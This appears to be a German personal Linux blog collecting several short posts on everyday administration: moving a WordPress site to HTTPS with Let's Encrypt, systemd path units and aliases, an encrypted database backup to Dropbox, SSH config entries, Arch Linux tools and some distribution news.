Es ist vollbracht. Fryboyter.de läuft nun dank Let's Encrypt mit https. Die Anleitung von Uberspace der ich gestern bereits einen Artikel gewidmet habe, hat einwandfrei funktioniert. Danach war allerdings noch die eine oder andere Anpassung nötig. Hauptsächlich an Wordpress.

Als erstes habe ich im Backend von Wordpress unter den allgemeinen Einstellungen die Wordpress- sowie Website-Adresse von http://fryboyter.de auf https://fryboyter.de geändert. Danach lies sich schon einmal die Seite an sich verschlüsselt aufrufen. Aber irgend etwas hat nicht gepasst.

Ich markiere alle externen Links mit einem kleinen Symbol wie ich hier schon beschrieben habe. Da die Seite nun per https aufgerufen wird, hat das ganze nun auch alle internen Link gekennzeichnet. Also schnell die Ausnahme von der Kennzeichnung auf https://fryboyter.de geändert. Soweit so gut. Piwik wurde auch noch unverschlüsselt eingebunden. Also auch hier schnell den Tracking-Code auf https geändert, welcher bei mir in der Datei footer.php eingetragen ist.

War es das? Leider nein. Leider war bei alle Grafiken die ich über die Mediathek von Wordpress eingebunden habe noch http eingetragen. Warum wurde das nicht bei der Änderung in den allgemeinen Einstellungen mit geändert? Eine globale Änderung der Mediathek-Links über das Backend ist scheinbar auch nicht vorgesehen. Püh... Was nun? Ich habe mich dann kurzerhand einfach mal mit der Datenbank verbunden und mir die diversen Tabellen angesehen. Dabei ist mir aufgefallen, dass ich in einigen Artikeln auch noch auf andere Artikel verwiesen habe. Natürlich per http://. Ja leck mich doch. Also habe ich mir eine SQl-Anweisung gebaut, die nach http://fryboyter.de sucht und alle Treffer in der Datenbank durch https://fryboyter.de ersetzt. Diese werde ich an dieser Stelle erst mal nicht veröffentlichen. Nicht dass ich hier irgendwo Mist gebaut habe. Zudem sollte es mit diesem Tool wohl auch einfacher gehen. Da es quelloffen ist, sollte es auch keine Hintertürem haben oder Zugangsdaten abgreifen. Meine Hand lege ich aber definitiv nichts ins Feuer dafür. Das Teil habe ich natürlich erst hinterher gefunden und daher in keinster Weise getestet.

Nun aber, oder? Nicht ganz. Fryboyter.de ist weiterhin per http erreichbar. Also noch schnell die htaccess-Datei für Wordpress angepasst, dass immer die Seite per https aufgerufen wird. Hier habe ich mich einfach im Blog von Überspace bedient und die "schickere" Variante gewählt. Auch wenn diese wohl bei älteren Browsern Probleme macht. Da hier aber hauptsächlich Besucher mit aktuellen Versionen aufschlagen sollte es nicht wirklich ein Problem sein.

Das sollte es dann aber wirklich gewesen sein. Wenn ich doch irgendwo etwas übersehen habe, wäre ich über einen Hinweis nicht unglücklich.

Abschließen kann ich nur feststellen dass das Beantragen und Einbauen des Zertifikats in deutlich weniger als 5 Minuten erledigt war. Auch das Scharfschalten ging ratz fatz. Die ganzen Anpassungen an der Seite an sich haben dann aber doch länger gedauert. Vor allem der Mist mit der Mediathek und den Links in den Artikeln...


Offizielles Vorgehen bei Uberspace mit Let's Encrypt

Seit gestern kann sich Hinz und Kunz Zertifikate bei Let's Encrypt ausstellen lassen. Da ich ja beim Webspace-Anbieter Uberspace bin, bin ich mir recht sicher dass es auch bei mir irgendwie klappen sollte. Nur wie? Als erstes habe ich mir mal die offizielle Dokumentation angesehen. Hätte ich mir schon fast schenken können. Aber nicht weil diese für Tonne ist.

Denn Jonas von Uberspace hat heute einen Artikel im Uberspace-Blog veröffentlicht in dem eigentlich alles genau erklärt wird. Getestet habe ich das ganze bisher noch nicht aber wenn man sich das ganze so durchliest dürfte der Spass keine 5 Minuten dauern. Lediglich für das automatisierte Erneuern der Zertifikate alle 90 Tage hat das Uberspace-Team noch keine offizielle Lösung. Aber das bin ich mir recht sicher, dass da noch etwas kommen wird. Zur Not würde mir das Abfeuern von ein paar Befehlen alle X Tage aber auch nicht die Laune verderben.


Alte und neue Konfigurationsdateien unter Arch mit pacmarge abgleichen

Bei einem Update von Arch Linux kann es passieren, dass es auch Änderungen an den Konfigurationsdateien gibt. Anstelle dass bereits vorhandene Konfigurationsdateien automatisch angepasst oder sogar komplett überschrieben werden, werden die neuen Konfigurationsdateien mit der Endung .pacnew angelegt. Somit ist es dann die Aufgabe des Administrators die vorhandenen Konfigurationsdateien mit den Pacnew-Dateien abzugleichen. Für diesen Job nutze ich ein Script, welches sowohl vorhandene als auch Pacnew-Dateien aufspürt und beide mit meld öffnet, so dass ich diese händisch abgleichen kann.

Der Arch-Entwickler foutrelis hat hierfür nun das Tool pacmarge gebaut, welches diese Aufgabe automatisiert. Man findet es im AUR. Führt man pacmarge nach einem Update aus, welches auch die Konfigurationsdateien betrifft, erhält man beispielsweise folgende Ausgabe.

pacmarge

Hier sieht man dass bis auf die Datei mirrorlist alle Dateien erfolgreich zusammengeführt wurden. Aber vertrauen ist gut, Kontrolle ist besser. Von daher habe ich die vorhandenen Konfigurationsdateien bereits vorab gesichert und dann mit den durch pacmarge geänderten Dateien verglichen. So wie es aussieht macht das Tool seine Arbeit wirklich gut. Einen Fehler konnte ich nicht finden. Dennoch werde ich wohl bei meinem Script und meld bleiben. Wenn da etwas schief geht, kenne ich die Fehlerquelle definitiv. Layer 8.


Offene Beta-Phase von Let's Encrypt startet am 03.12.2015

Die Zertifizierungsstelle Let's Encrypt an der z. B. Mozilla, Cisco, Akamai und die Electronic Frontier Foundation beteiligt sind, möchte durch die Vergabe von kostenlosen SSL/TLS-Zertifikaten eine möglichst hohe Anzahl an verschlüsselten Internetseiten erreichen. Bisher konnten nur Nutzer die an der geschlossenen Beta-Phase beteiligt waren, das Angebot nutzen. Ab dem 03.12.2015 soll sich dies ändern.

Let's Encrypt tritt dann in die offene Beta-Phase ein. Ab diesem Zeitpunkt kann dann jeder der Interesse hat Zertifikate beantragen. Zur Ausstellung der Zertifikate bietet die Zertifizierungsstelle ein Tool an mit dem die nötigen Schritte vereinfacht werden. Dieses Tool, welches auch einen manuellen Modus bietet, ist quelloffen und kann unter https://github.com/letsencrypt/letsencrypt eingesehen werden. Weiterhin ist das dabei verwendete Protokoll ACME-Protokoll ebenfalls quelloffen und steht unter https://github.com/letsencrypt/acme-spec zur Einsicht bereit. Somit sollten sich auch eigene Tools erstellen bzw. die einzelnen Schritte händisch abarbeiten lassen.

Alle der weit verbreiteten Browser vertrauen den Zertifikaten von Let's Encrypt (https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html). Unterstützt werden die Webserver Apache und nginx.


Rechte von Dateien und Verzeichnissen als Oktalzahl anzeigen

Heute wollte ich die Rechte eines Verzeichnis und der daran enthaltenen Dateien überprüfen, da scheinbar ein Script etwas Mist gebaut hat. Prinzipiell kann man sich die Rechte schnell und einfach mittels

ls -alR

anzeigen lassen. Allerdings werden hier die Rechte durch die bekannten Buchstabenkombinationen angezeigt (z. B. -rw-r--r--). Lieber wäre mir in diesem Fall aber die Ausgabe mit Oktalzahlen wie zum Beispiel 755. Der Befehl ls kann dies scheinbar nicht. Nach einigen Hin und Her konnte ich das Problem mittels

find .zsh -printf "%m %p\n"

lösen (anstelle von .zsh gibt man das Verzeichnis an, das überprüft werden soll). Die Ausgabe sieht wie folgt aus.

700 .zsh
700 .zsh/cache
700 .zsh/cache/netbook
644 .zsh/cache/netbook/SYS_ALL_UNITS
644 .zsh/cache/netbook/SYS_REALLY_ALL_UNITS
755 .zsh/.zfunc
644 .zsh/.zfunc/extendedcd
644 .zsh/.zfunc/cd

Icons im Tray unter KDE Plasma 5 anzeigen

Bisher wurden unter KDE 4.x die Icons im System Tray mittels xembed angezeigt. Plasma hingegen setzt nun auf SNI. Für viele Programme hatte das zu Folge, dass die Entwickler ihre Programm anpassen müssen. Bei einigen ist diese Anpassung bereits erfolgt. Bei anderen noch nicht. Bei einigen wird es vermutlich nie passieren. Und genau das ist ein Problem für viele Anwender.

Im Wiki von Arch Linux werden z. B. die Pakete sni-qt und libappindicator-gtk2 bzw. -gkt3 als Lösung angegeben. Bei mir hat bisher jede dieser Lösungen versagt. KeePass weigert sich beispielsweise auch nach der Installation besagter Pakete ein Icon anzuzeigen. Vermutlich weil Mono genutzt wird. Laut einem Artikel von David Edmundson, seines Zeichens Entwickler bei KDE, macht die Umstellung auf SNI bei den Nutzern größere Probleme als ursprünglich angenommen. Und zwar so große, dass nun xembed-sni-proxy ins Leben gerufen wurde. Hiermit werden quasi "xembed-Icons" in "SNI-Icons" umgewandelt, so dass die Icons unter Plasma angezeigt werden.

Nach einem ersten Test ist das Projekt noch nicht wirklich ausgereift. In vielen Fällen wird beispielsweise ein leeres Icon angezeigt (Pidgin ist so ein Fall), so dass auf den ersten Blick einfach nur eine Lücke im System Tray zu sehen ist. Ein Klick auf diese Lücke öffnet aber das jeweilige Menü. Bei KeePass wird das Icon angezeigt. Nur lässt sich hier das Menü derzeit nur schließen wenn man einen Eintrag anklickt. Blöd wenn man das falsche Icon erwischt hat und das Menü einfach nur schließen will.

Edmundson hofft, dass xembed-sni-proxy in Plasma 5.5 Einzug halten kann. Diese Version ist für Dezember 2015 geplant, so dass bis dahin noch einige Zeit zum Beheben von Problemen bleibt. Wer nicht so lange warten will und zufällig Arch nutzt, findet im AUR das Paket xembed-sni-proxy-git.


Datenbank sichern und verschlüsselt in die Dropbox hochladen

Ungesicherte Daten sind unwichtige Daten. Daher sollte man sich gut überlegen wie und vor allem wohin man seine wichtigen Daten sichert. Bei vielen Betreibern ist zum Beispiel die Datenbank absolut wichtig, da dort die Artikel und Kommentare eines Blogs gespeichert sind. Da eine Datensicherung prinzipiell auf einem anderen Speichermedium zu erfolgen hat als die Originaldaten liegen, habe ich mir überlegt, ob man hierfür nicht eine Dropbox nutzen könnte. Man kann.

Als erstes läd man sich von https://github.com/andreafabrizi/Dropbox-Uploader die Shellscripte herunter und speichert diese in einem Verzeichnis auf den Server. Hier sollte man nach Möglichkeit das Verzeichnis außerhalb des Document Root anlegen.

Nun macht man mittels

chmod +x dropbox_uploader.sh

das Shellscript ausführbar und startet es. Beim ersten Start wird hierbei der Konfigurationsvorgang ausgeführt. Diesem folgt man dann entsprechend (eine Dropbox muss bereits vorhanden sein). Da man hier eigentlich nichts falsch machen kann, gehe ich an dieser Stelle nicht näher darauf ein. Falls doch Fragen aufkommen sollten, meldet euch einfach. Nachdem der Uploader konfiguriert wurde, kann man diesen schon einmal testen indem man mit touch test.txt eine Datei erstellt und diese dann mittels

./dropbox_uploader.sh upload test.txt .

in die Dropbox hochläd.

Nun erstellt man im gleichen Verzeichnis in dem das Shellscript liegt ein weiteres. Beispielsweise backup.sh. Dies füllt man dann wie folgt:


#!/bin/bash
set -e 
DAY=`/bin/date +%Y%m%d`
PASSPHRASE='a=Fr#M?w\+.Qg3T.qD)x'
mysqldump -u benutzername -p'4567' datenbankname | gzip -9 > /home/benutzername/Dropbox-Uploader/$DAY.sql.gz
gpg --batch --cipher-algo AES256 --passphrase=$PASSPHRASE -c /home/benutzername/Dropbox-Uploader/$DAY.sql.gz
cd /home/benutzername/Dropbox-Uploader/ 
./dropbox_uploader.sh upload "$DAY.sql.gz.gpg" . 
rm /home/benutzername/Dropbox-Uploader/$DAY.sql.gz 
rm /home/benutzername/Dropbox-Uploader/$DAY.sql.gz.gpg

Das ganze Script ist relativ schnell erklärt. Erst wird ein Dump der Datenbank "datenbankname" erstellt und gepackt. Hierbei wird der Dateiname wie in Zeile drei definiert erstellt (Jahr/Tag/Monat). Als nächstes wird das so erstellte Archiv mittels gpg und dem in Zeile vier hinterlegtem Passwort verschlüsselt. Danach wird die verschlüsselte Datei in die Dropbox hochgeladen. Abschließend wird sowohl die verschlüsselte als auch die unverschlüsselte Datei vom Server gelöscht.

Nun legt man sich am besten noch einen Cronjob an mit dem dann das eben erstelle Script regelmäßig ausgeführt wird und somit die Datenbank automatisch gesichert wird.


Bestimmte Zeile aus einer Datei entfernen

Gestern habe ich wieder mit mehreren Terminals unter terminator geöffnet. Weil es natürlich schnell gehen sollte, habe ich ein Passwort in den falschen Terminal eingegeben, so dass das Passwort quasi als Befehl in der History-Datei von zsh gelandet ist. Mal wieder. Nicht gerade das Gelbe vom Ei. Da mir leider keine Funktion unter der zsh bekannt ist, mit der man einzelne Zeilen aus der History-Datei entfernen kann, ist wieder Handarbeit angesagt gewesen. Je nach Lust und Laune nehme ich entweder einen Editor meiner Wahl (in der Regel nano oder kate), öffne die Datei ~/.zhistory und entferne den problematischen Eintrag. Oder ich verwende

grep -v $suchbegriff .zhistory > tempdatei && mv tempdatei .zhistory

Hierbei suche ich nach dem gewünschten Suchbegriff und leite alles was nicht diesem entspricht in die Datei tempdatei um (-v bewirkt dies). Danach überschreibe ist die Datei .zhistory mit der tempdatei, so dass ich eine bereinigte History-Datei erhalte. Da bekanntlich unter Linux viele Wege zum Ziel führen, habe ich gestern eine etwas weniger umständliche Alternative mittels sed gefunden.

sed -i '/suchbegriff/d' .zhistory

Der Parameter -i weist sed an, die Änderungen direkt in der .zhistory vorzunehmen und auch direkt zu speichern. Sollen solche "Aufräum-Befehle" ebenfalls nicht in der History-Datei landen, sollte man bevor man anfängt sicherstellen, dass in der Datei ~/.zshrc der Eintrag

setopt HIST_IGNORE_SPACE 

vorhanden ist. Fügt man nun vor dem eigentlichen Befehl ein Leerzeichen ein, so erscheinen diese nicht in der History-Datei. Dies gilt ebenfalls mit Aliase.


Mausgesten unter Vivaldi händisch anpassen

Offiziell kann man die Mausgesten unter dem Browser Vivaldi noch nicht anpassen oder gar neue hinzufügen. Zumindest das Anpassen klappt aber indem man eine Datei händisch ändert.

Ausgehend vom aktuellen Snapshot findet man unter /opt/vivaldi-snapshot/resources/vivaldi/ die Datei defaultSettings-bundle.js. Diese öffnet man mit einem Editor seiner Wahl. In dieser findet man Einträge wie z. B.

COMMAND_CLOSE_TAB:{shortcut:["ctrl+w","ctrl+f4"],gestures:["20"]

Wichtig ist hier der Teil gestures:["2"]. Die Zahl(en) definieren hier die Mausgesten. 2 entspricht nach unten, 4 nach links, 0 nach rechts und 6 nach oben. Tauscht man nun die bestehende Nummer gegen die gewünschte aus, kann man die Mausgesten nach seinem Geschmack anpassen. Die Nummern kann man auch miteinander kombinieren. In obigen Beispiel für das Schließen eines Tabs ist also nach unten und dann nach rechts definiert.

Bei diesem Vorgehen sollte man allerdings beachten, dass die Datei voraussichtlich beim nächsten Update wieder überschrieben wird und man die Datei somit erneut anpassen muss. Wem das zu Umständlich ist, sollte abwarten bis die Mausgesten offiziell anpassbar sind. Dies ist nach meiner Kenntnis seitens der Entwickler auch geplant.

Gefunden hat diese Lösung übrigens der Nutzer shoust vom Vivaldi-Forum. Ich habe das ganze nur etwas ausführlicher und in deutscher Sprache wiedergegeben.


Terminator 0.98 veröffentlicht

Wie schon in dem einen oder anderen Artikel geschrieben, nutze ich den Terminal Emulator Terminator. Da seit über zwei Jahren keine neue Version veröffentlicht wurde, habe ich mir schon vor ein paar Wochen überlegt ob das Projekt nicht eingestellt wurde. Vor zwei Tagen hat aber Version 0.98 das Licht der Welt erblickt und der Entwickler hat auf Reddit auch die Aussage getroffen, dass er Terminator weiter entwickeln wird. Alles in allem also sehr gute Nachrichten. Zumindest für Leute die etwas mit Terminator anfangen können.

Das Changelog ist recht umfangreich, so dass ich es hier nicht zitieren werde. Zu finden ist es unter https://launchpad.net/terminator/trunk/0.98/+index#.


Verzeichnis mit systemd überwachen

Heute bekam ich folgende Anfrage (hier abgewandelt, da der genaue Vorgang intern bleiben soll). Wenn in einem Verzeichnis eine Avi-Datei gespeichert wird soll diese automatisch in eine Mkv-Datei (libtheora und libvorbis) umgewandelt und verschoben werden.

Als erstes habe ich unter /home/video/ das Verzeichnis videos und Verzeichnis videos2 erstellt. Als nächstes habe ich im gleichen Homeverzeichnis folgendes Shellscript erstellt:

#!/bin/bash
cd /home/video/videos/ 
for i in *.avi; do 
    ffmpeg -i "$i" -vcodec libtheora -acodec libvorbis "${i%.*}.mkv" 
done
mv *.mkv /home/video/videos2/
rm *.avi 

Das Shellscript wechselt erst in das eben erstellte Verzeichnis videos. Dort sucht es nach vorhandenen Dateien mit der Endung .avi und wandelt diese in eine Mkv-Datei mit libtheora und Libvorbis um. Danach werden die Mkv-Dateien in das Verzeichnis videos2 verschoben und die vorhandenen Avi-Datei gelöscht.

Als nächstes habe ich mir Root-Rechte verschafft und mit diesen unter /etc/systemd/system die Datei convert.service mit folgendem Inhalt angelegt.

[Unit]
Description=Videos in ~/home/video/video automatisch konvertieren

[Service]
Type=oneshot
ExecStart=/home/video/convert.sh 

Hier wird im Grunde genommen nur angegeben, dass das eben erstellte Shellscript convert.sh ausgeführt wird.

Im gleichen Verzeichnis habe ich nun noch die Datei convert.path angelegt und mit folgendem Inhalt befüllt.

[Unit]
Description=Startet convert.service wenn eine Datei in /home/video/video$ 

[Path]
PathModified=/home/video/videos/ 

[Install]
WantedBy=multi-user.target 

Hier ist der Abschnitt Path der wichtige Teil. Sobald im Verzeichnis /home/video/videos etwas geändert wird (wie eben dass dort eine Avi-Datei abgespeichert wird) wird das in der Service-Datei genannte Shellscript ausgeführt. Anstelle von PathModified gibt es noch PathExists=, PathExistsGlob=, PathChanged=, und DirectoryNotEmpty=. Diese werden unter man systemd.path oder hier online genauer erklärt.

Nun habe ich mittels systemctl start convert.path das ganze einmalig gestartet. Das es nach einem Testlauf kein Probleme gegeben hat, habe ich diese Automatisierung mittels systemctl enable convert.path scharf geschaltet so dass der Spaß auch einen Neustart des Systems überlebt.


Entwicklung des Bootloaders LILO wird beendet

Auf der offiziellen Seite LILO des Bootloaders LILO wurde angekündigt, dass die Entwicklung wohl Ende 2015 beendet wird.

Die derzeit letzte Version wurde Mitte Oktober 2014 veröffentlicht. Dieser Version fehlen einige Sachen wie Unterstützung von Raid, GPT oder Btrfs. Dies ist auch der Grund, wieso der Entwickler Joachim Wiedorn jetzt einen Schlussstrich unter der Projekt setzen will. Sollte jemand Interesse haben, LILO weiterentwickeln zu wollen, kann er sich beim derzeitigen Entwickler melden.

LILO habe ich selbst nur in meiner Anfangszeit genutzt. Irgendwann bin ich dann zu Grub gewechselt. Grub 2, mit dessen Konfigurationsdatei (vor allem der automatisch erstellten) ich einfach nicht warm werde, habe ich mir erspart und bin stattdessen vor längerem auf syslinux umgestiegen.


Temperatur des Raspberry Pi auslesen

Bei den aktuellen Temperaturen wollte ich mal wissen, wie sich hier mein Raspberry Pi schlägt, da dieser in einem nicht gerade kühlen Raum läuft. Dies kann man mit Boardmitteln auslesen und muss kein extra Paket installieren.

Unter /opt/vc/bin findet man den Befehl vcgencmd. Ruft man diesen mittels vcgencmd measure_temp auf, bekommt man die Temperatur des SoC angezeigt. Bei mir liegt diese aktuell bei 44,4 Grad Celsius. Für den Raspberry Pi ist das absolut in Ordnung. Erst ab 80 Grad Celsius wird es kritisch. Bei 85 zieht der Raspberry Pi automatisch die Notbremse und setzt den Takt herunter.


ncdu - du (Disk Usage) mit ncurses

Der Befehl du ist vermutlich vielen Nutzern von Linux ein Begriff. Damit lässt sich die Speicherbelegung eines Verzeichnis anzeigen.

ncdu1

Alternativ dazu kann man auch ncdu nutzen. Hiermit werden nicht alle Unterverzeichnisse auf einen Schlag angezeigt sondern nur die oberste Ebene. Mittels den Pfeil- und noch ein paar anderen Tasten kann man dann in den Unterverzeichnissen "browsen".

ncdu2


Die Mitarbeiter sind schuld an der Pleite von Mandriva

Jetzt ist es amtlich. Jean-Manuel Croset, seines Zeichens letzter Geschäftsführer des Unternehmens Mandriva, hat sich zu den Hintergründen zur endgültigen Pleite geäußert. Die Mitarbeiter sind, wie sollte es anders sein, der Grund.

Einige der 2013 aufgrund der schwierigen wirtschaftlichen Lage des Unternehmens entlassenen Mitarbeiter haben es gewagt nicht nur das Unternehmen Mandriva zu verklagen, nein sie haben vom Arbeitsgericht auch noch Recht bekommen. Was für eine Sauerei...

Durch den erlassenen Strafbefehl musste Mandriva sofort einige hunderttausend Euro zahlen. Einsprüche und Anträge auf Aufschub der Auszahlungen hat das Gericht wohl abgelehnt. Das hat dem Unternehmen, welches 2013 550000 Euro Einnahmen hatte, die 2014 um 40 Prozent gesteigert werden konnten (bei gleichzeitiger Minderung der Kosten um 40 Prozent), wohl das Genick gebrochen.


Arch AUR nutzt ab Version 4.0 eine auf Git basierende Plattform

Gestern wurde auf der Mailing-List "arch-general" verkündet, dass ab dem 8. Juni 2015 der Umzug von AUR auf eine Plattform die auf Git basiert der Umzug startet. Wer seine Pakete weiterhin betreuen will, muss diese auf der neuen Plattform bis spätestens 07. Juli 2015 unter aur4.archlinux.org einreichen. So lange werden die Pakete für die ursprünglichen Betreuer reserviert. Ab dem 8. Juli kann man unter der genannten Adresse dann die Pakete einreichen die reserviert waren aber der jeweilige Betreuer nichts gemacht hat. Am 8. August wird dann aur4.archlinux.org offiziell aur.archlinux.org ab. Änderungen an den Paketen die zwischen dem 8. Juli und dem 8. August erfolgen müssen unter aur4.archlinux.org eingereicht werden.

Eine kurze Anleitung zum Einreichen auf der neuen Plattform findet man im Wiki. Wer Probleme mit der neuen Platform hat, kann diese im Bugtracker melden.


Mandriva ist nun endgültig am Ende

Jahrelang habe ich als Distribution Mandrake und dann Mandriva als Distribution eingesetzt. Für mich war die Distribution immer die "out of the box" Distribution, die es technisch locker mit Ubuntu aufnehmen hätte können. Leider hat sie immer nur ein Nischendasein gefristet. In den Jahren in denen ich mit Mandrake bzw. Mandriva unterwegs war, hatte das dahinter stehende Unternehmen schon einige Male finanzielle Probleme, konnte sich aber immer wieder aufraffen. Jetzt hat es das Unternehmen wohl endgültig erwischt.

Laut http://lwn.net/Articles/645862/ ist eine Liquidation erfolgt. Die offizielle Seite ist ebenfalls nicht mehr erreichbar. Auch wenn Mandriva (das Unternehmen) in der Vergangenheit meiner Meinung nach einiges falsch gemacht hat, verdanke ich ihm doch mit der Distribtion Mandrake bzw. Mandriva meinen ersten richtigen Einstieg in Linux. Von daher schade darum. Hoffentlich kommen die Anstellten bei anderen Unternehmen unter.


KDE Plasma und Claws-Mail stürzen beim Herunterfahren oder bei einem Neustart ab

Ausgangssituation ist folgende. Auf einem Rechner läuft Arch Linux mit KDE Plasma. Updates sind zum aktuellen Stand komplett eingespielt. Egal ob der Rechner herunter gefahren oder neu gestartet wird, es stürzt die Plasmashell sowie das durchgehend laufende Programm Claws-Mail mit einem Signal 11 ab. Nachdem man einige Fenster mit den Absturzmeldungen weg geklickt hat, startet der Rechner dann aber wie beabsichtigt neu oder fährt komplett herunter. Besonders wohl ist mir dabei aber nicht wegen Claws-Mail.

Nach einigem hin und her habe ich gestern die Lösung gefunden. Der verdammte Layer 8 war mal wieder das Problem... Vor einiger Zeit gab es eine Änderung mit der der Microcode eines Intel-Prozessors nicht mehr automatisch aktualisiert wird und somit ein Eingreifen des Nutzers nötig ist. Vor einigen Wochen hatte ich mir die Datei /boot/syslinux/syslinux.conf verbastelt, so dass ich die vorhandene gelöscht und eine neue erstellt habe. Dabei habe ich natürlich nicht den Eintrag für das Update des Microcodes eingebaut... Nachdem ich das jetzt nachgeholt habe, funktioniert alles wieder wie es soll. Warum das ganze aber erst nach Wochen Probleme gemacht hat, kann ich nicht wirklich sagen. Scheinbar gab es ein Update, dass mit einer alten Version Probleme hat.


EXT4-fs (mmcblk0p2): couldn't mount as ext3 due to feature incompatibilities

In der Logdatei meines Raspberry Pi tauchen nach jedem Start die Fehlermeldungen "EXT4-fs (mmcblk0p2): couldn't mount as ext3 due to feature incompatibilities" und "EXT4-fs (mmcblk0p2): couldn't mount as ext2 due to feature incompatibilities" auf. Es funktioniert zwar alles aber es nervt. Vor allem weil mmcblk0p2 in dem Fall ext4 und nicht ext3 oder ext2 nutzt. Aber die Lösung ist recht einfach.

Einfach die Datei /boot/cmdline.txt öffnen und rootfstype=ext4 hinzufügen und abspeichern. Nach einem Neustart ist die Fehlermeldung verschwunden. Nebenwirkungen konnte ich auch noch keine feststellen.


Alias für Services unter systemd

Manche Services unter systemd haben ziemlich umständliche Bezeichnungen. Systemd-networkd.service oder openvpn@vpn.service zum Beispiel. Um es sich beim Aktivieren, Deaktivieren oder Neustarten etwas einfacher zu machen, kann man hier zu einem Alias greifen. Nehmen wir mal openvpn@vpn.service als Beispiel.

Hier öffnet man einfach die Datei openvpn@vpn.service welche unter /etc/systemd/systemd/multi-user.target.wants/ liegt. Diese sollte wie folgt aussehen.

[Unit]
Description=OpenVPN connection to %i 

[Service]
Type=forking 
ExecStart=/usr/bin/openvpn --cd /etc/openvpn --config /etc/openvpn/%i.conf --da$ 
PIDFile=/run/openvpn@%i.pid 

[Install]
WantedBy=multi-user.target

Soll der Service auf den Alias vpn1 reagieren, muss man einfach unter [Install] Alias=vpn1.service hinzufügen. Wichtig ist hier, dass der Alias die gleiche Endung hat wie das Original. Also in dem Fall .service. Hier kann man auch mehrere Aliase angeben, welche man in die gleiche Zeile mit einem Lehrschritt getrennt eingibt.

Hat man die Datei nun entsprechend geändert und abgespeichert aktiviert man den Service mittels systemctl enable openvpn@vpn.service. Hiermit wird nun ein Symlink vpn1.service angelegt, welcher auf openvpn@vpn.service verweist. Von nun an kann dieser "Service" anstelle des Originals genutzt werden. Also beispielsweise systemctl status vpn1.service.


SSH-Verbindungen leicht gemacht

Ich nutze regelmäßig SSH-Verbindungen zu diversen Rechnern. Im LAN z. B. zu meinem Receiver oder zu meinem Quake-3-Arena-Server. Da letzterer im Internet erreichbar ist, läuft SSH nicht auf dem Standardport sondern auf einen anderen um Scriptkiddies zu blocken und somit die Logdateien sauber zu halten. Somit muss ich jedes mal, wenn ich mich mit dem Rechner verbinden will ssh $Benutzer@$IP -p $Portnummer -i ~/.ssh/quake eingeben. Oder den Befehl aus der Historie von ZSH herausfischen. Das muss doch auch besser funktionieren, oder? Ja tut es.

Hierzu legt man, falls nicht schon vorhanden, als erstes die Datei ~/.ssh/config auf dem Rechner mit dem man sich mit dem Server verbinden will an. Nun erstellt man in dieser folgenden Eintrag.

Host quake
Hostname 192.168.1.220
Port 1234
User quake
IdentityFile /home/$Benutzer/.ssh/quake

In der ersten Zeile geben wir den Namen der Verbindung an. Hier kann man frei wählen. Als nächstes geben wir die IP des Rechners an zu dem wir uns verbinden möchten. Der Port muss angegeben werden, wenn wir einen, vom Standard abweichenden, Port eingestellt haben. In der nächsten Zeile wird der Benutzer angegeben mit dem wir uns auf dem Rechner einloggen möchten. Sollte man anstelle von Passwörtern SSH-Keys nutzen und hat man mehrere unter ~/.ssh liegen gibt man am besten mit IdentityFile auch noch die richtige Schlüsseldatei an.

Nachdem man die Datei abgespeichert hat, braucht man nun nicht mehr ssh $Benutzer@$IP -p $Portnummer -i ~/.ssh/quake eingeben sondern es reicht ganz bequem ssh quake.


Howdoi - Wie zum Geier ging das jetzt noch gleich?

Wer nicht oft mit tar arbeitet, kennt das Problem vermutlich. Wie ging das Erstellen eines Archives jetzt noch gleich? Keine Ahnung... Also dann rufen wir eben mal man tar auf und ackern uns durch die Manpage. Alternativ dazu kann man jetzt das Tool howdoi fragen. Will man also wissen, wie man ein tar-Archiv erstellt gibt man folgendes ein.

howdoi create tar archive 

Und howdoi antworte darauf mit

tar -cf backup.tar --exclude "www/subf3" www 

Wirklich ausgereift ist das Tool aber scheinbar nicht. Auf die "Frage" howdoi copy files erhält man irgendwie nicht die richtige Ausgabe...

As toolkit mentions above, Apache Commons IO is the way to go, specifically FileUtils . copyFile() ;
it handles all the heavy lifting for you. And as a postscript, note that recent versions of
FileUtils (such as the 2.0.1 release) have added the use of NIO for copying files; NIO can
significantly increase file-copying performance , in a large part because the NIO routines
defer copying directly to the OS/filesystem rather than handle it by reading and writing 
bytes through the Java layer. So if you're looking for performance, it might be worth checking
that you are using a recent version of FileUtils.

Pakete unter Arch im Ram erstellen

Um das Bauen der Pakete unter Arch zu beschleunigen kann man die Paketverwaltung anweisen dies im Arbeitsspeicher zu tun.

Hierzu erstellt man in der /etc/fstab erst einmal folgenden Eintrag.

tmpfs    /scratch    tmpfs    nodev,size=4G    0 0

Anstelle von /scratch kann man jederzeit auch ein anderes Verzeichnis angeben in dem der Arbeitsspeicher gemountet wird. Size= kann man weglassen. Allerdings werden dann bis zu 50 Prozent des vorhandenen Arbeitsspeicher genutzt.

Nachdem wir die Datei abgespeichert haben, schalten wir den Eintrag mittels mount -a scharf. Nun muss noch die Datei /etc/makepkg.conf angepasst werden. In dieser suchen wir nach #BUILDDIR= und entfernen das # am Anfang der Zeile unter ändern alles nach dem = auf /scratch (bzw. das Verzeichnis das wir in der /etc/fstab angegeben haben, so dass BUILDDIR=/sratch dabei herauskommen sollte und speichern die Datei ab.

Pakete die nun aus den Sourcecode erstellt werden, z. B. aus AUR sollten nun um einiges schneller gebaut werden als z. B. auf der HDD.


Gesprächigkeit eines systemd-Service einstellen

Vor ca. zwei Wochen habe ich für ngb.to einen Quake-3-Arena-Server auf auf Basis von ioquake aufgesetzt. Als Distribution habe ich Arch Linux gewählt. Nachdem alles installiert war, wollte ich den Q3A-Server nach dem Booten und nach einem eventuelle Absturz neu starten lassen. Mittels eines systemd-Service kein Problem. Nur ist Q3A an sich eine Quasselstrippe und müllt die Logdateien gnadenlos zu. Vor allem wenn gezockt wird. Hier bin ich mir nicht sicher wie lange das mit der, im Raspberry Pi verbauten, Speicherkarte gut geht. Daher musste ein Weg her um Q3A zum Schweigen zu bringen.

Nach einer kurzen Suche in der Dokumentation von systemd wurde ich fündig. Hier hilft StandardOutput= weiter. Hierüber kann man die Standardausgabe eines Service definieren. Zur Auswahl stehen inherit, null, tty, journal, syslog, kmsg, journal+console, syslog+console, kmsg+console sowie socket. Da mich die Standardausgabe (X hast joined usw.) nun wirklich nicht interessiert, war ich gnadenlos und habe null gewählt. Somit werden die ganzen Ausgaben direkt gemülleimert und das Journal und somit auch die Speicherkarte werden geschont. Herausgekommen ist dann folgender Service.

[Unit]
Description=Startet ioquake3-Server

[Service]
User=q3a
ExecStart=/pfad/zum/Startscript/q3a.sh
StandardOutput=null
